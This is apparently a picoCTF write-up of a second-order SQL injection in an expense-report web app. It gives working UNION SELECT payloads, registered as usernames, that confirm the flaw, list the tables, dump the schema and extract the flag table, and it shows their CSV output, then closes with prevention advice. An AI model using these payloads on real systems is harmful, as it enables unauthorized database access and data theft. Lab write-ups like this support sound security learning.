Challenge Overview
The challenge presents a web application with the following features:
- User registration (
/register) - Login/Logout (
/login,/logout) - Expense management (
/expenses) - Add expense (description, amount, date)
- View expenses
- Delete expenses (
/delete_expense) - Report generation (
/generate_report) - Inbox (
/inbox) - View generated reports
- Download reports (
/download_report)
Downloaded reports are in CSV format, containing:
description, amount, dateInitial Observation
At first glance, no obvious SQL injection point appears in direct user inputs like expense fields.
However, the hint suggests:
"What does order in SQL Injection mean?"
This leads us to consider Second-Order SQL Injection.
Understanding the Vulnerability
A Second-Order SQL Injection occurs when:
- Malicious input is stored in the database
- Later used in a query without sanitization
Hypothesis
When generating a report, the backend likely runs a query like:
SELECT description, amount, date FROM expenses WHERE user = '${user}';The user value comes from the username, which is user-controlled during registration.
Exploitation Steps
Step 1: Confirm Injection
Register with the following username:
a' UNION SELECT 'VULN', 999, '2026-01-01'--Then:
- Login
- Generate a report
- Download the report
Result
description,amount,date
VULN,999,2026-01-01Injection successful!
Step 2: Enumerate Tables
Register with:
a' UNION SELECT tbl_name, 0, '2026-01-01' FROM sqlite_master WHERE type='table'--Output
description,amount,date
aDNyM19uMF9mMTRn,0,2026-01-01
expenses,0,2026-01-01
inbox,0,2026-01-01
reports,0,2026-01-01
sqlite_sequence,0,2026-01-01
users,0,2026-01-01Suspicious table:
aDNyM19uMF9mMTRnStep 3: Dump Schema
Register with:
a' UNION SELECT sql, 0, '2026-01-01' FROM sqlite_master WHERE type='table'--Output
CREATE TABLE aDNyM19uMF9mMTRn (
name TEXT PRIMARY KEY,
value TEXT NOT NULL
)This looks like a key-value store, likely containing sensitive data.
Step 4: Dump Table Contents
Register with:
b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --Final Output
description,amount,date
flag,picoCTF{...},2026-01-01🏁 Final Flag
picoCTF{...}Key Takeaways
What Worked
- Leveraging Second-Order SQL Injection
- Injecting via username field
- Exploiting report generation logic
What Failed (By Design)
- Direct injection in expense fields
- Report input fields (sanitized)
Security Insight
This vulnerability exists because:
- User input (username) is stored unsanitized
- Later used in SQL query without escaping
Prevention
To prevent this:
- Use prepared statements / parameterized queries
- Avoid dynamic SQL string concatenation
- Sanitize stored user inputs before reuse